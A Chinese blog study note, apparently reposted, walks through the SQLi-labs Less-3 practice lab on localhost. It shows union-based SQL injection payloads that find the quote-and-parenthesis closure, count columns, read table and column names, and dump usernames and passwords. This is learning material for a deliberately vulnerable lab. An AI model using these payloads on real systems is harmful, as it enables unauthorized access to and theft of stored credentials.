SQL练习(less-3)字符型注入& union联合查询

本文为学习笔记,仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动

http://127.0.0.1/sqli/Less-3/?id=1
在这里插入图片描述
输入?Id=1’后报错
根据报错信息“1”)
去掉前后两个单引号,和自己输入的一个单引号后还有两个单引号和一个括号,可推出sql注入中的由单引号和括号的闭合模式。
在这里插入图片描述order by 3 查看显示位
(3)并不是固定的,要去试的
在这里插入图片描述
union select 查询显示位
在这里插入图片描述
联合查询语句:Union select 1,database(),version() 查询当前数据库名及版本号
在这里插入图片描述union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
联合查询,爆出数据库下的表名

在这里插入图片描述
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’
查询users 表里的字段
在这里插入图片描述union select 1,group_concat(username),group_concat(password) from security.users
爆出用户,密码

在这里插入图片描述

发布了43 篇原创文章 · 获赞 39 · 访问量 7613

猜你喜欢

转载自blog.csdn.net/AmyBaby00/article/details/100090192